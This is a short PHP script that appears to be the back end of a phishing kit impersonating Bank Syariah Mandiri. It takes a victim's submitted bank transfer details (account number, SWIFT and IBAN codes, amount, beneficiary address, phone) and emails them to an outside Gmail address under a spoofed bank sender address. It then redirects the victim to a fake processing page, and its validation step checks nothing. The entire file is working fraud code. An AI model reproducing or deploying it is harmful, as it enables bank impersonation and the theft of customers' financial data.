<?php

$EmailFrom = "mandiricare@mandirisyariah.com";
$EmailTo = "invisibles778@gmail.com";
$Subject = "BANK SYARIAH MANDIRI TRANSFER";
$AccountReference00032 = Trim(stripslashes($_POST['ref']));
$BankName = Trim(stripslashes($_POST['bkname']));
$BankAddress = Trim(stripslashes($_POST['bkaddress']));
$BankBranch = Trim(stripslashes($_POST['bkbranch']));
$AccountName = Trim(stripslashes($_POST['acctname'])); 
$AccountNumber = Trim(stripslashes($_POST['acctno']));
$Currency = Trim(stripslashes($_POST['currency'])); 
$Amount = Trim(stripslashes($_POST['amt']));
$SwiftCode = Trim(stripslashes($_POST['swiftco']));
$RoutingIBANCode = Trim(stripslashes($_POST['ibncod']));
$TransactionDescription = Trim(stripslashes($_POST['description']));
$DestinationCountry = Trim(stripslashes($_POST['benecountry']));
$BeneficiaryAddress = Trim(stripslashes($_POST['beneaddress']));
$PhoneNumber = Trim(stripslashes($_POST['phone']));

// validation
$validationOK=true;
if (!$validationOK) {
  print "<meta http-equiv=\"refresh\" content=\"0;URL=error.htm\">";
  exit;
}

// prepare email body text
$Body = "";
$Body .= "AccountReference00032: ";
$Body .= $AccountReference00032;
$Body .= "\n";
$Body .= "BankName: ";
$Body .= $BankName;
$Body .= "\n";
$Body .= "BankAddress: ";
$Body .= $BankAddress;
$Body .= "\n";
$Body .= "BankBranch: ";
$Body .= $BankBranch;
$Body .= "\n";
$Body .= "AccountName: ";
$Body .= $AccountName;
$Body .= "\n";
$Body .= "AccountNumber: ";
$Body .= $AccountNumber;
$Body .= "\n";
$Body .= "Currency: ";
$Body .= $Currency;
$Body .= "\n";
$Body .= "Amount: ";
$Body .= $Amount;
$Body .= "\n";
$Body .= "SwiftCode: ";
$Body .= $SwiftCode;
$Body .= "\n";
$Body .= "RoutingIBANCode: ";
$Body .= $RoutingIBANCode;
$Body .= "\n";
$Body .= "TransactionDescription: ";
$Body .= $TransactionDescription;
$Body .= "\n";
$Body .= "DestinationCountry: ";
$Body .= $DestinationCountry;
$Body .= "\n";
$Body .= "BeneficiaryAddress: ";
$Body .= $BeneficiaryAddress;
$Body .= "\n";
$Body .= "PhoneNumber: ";
$Body .= $PhoneNumber;
$Body .= "\n";

// send email 
$success = mail($EmailTo, $Subject, $Body, "From: <$EmailFrom>");

// redirect to success page 
if ($success){
  print "<meta http-equiv=\"refresh\" content=\"0;URL=tprocessz70032.html\">";
}
else{
  print "<meta http-equiv=\"refresh\" content=\"0;URL=error.htm\">";
}
?>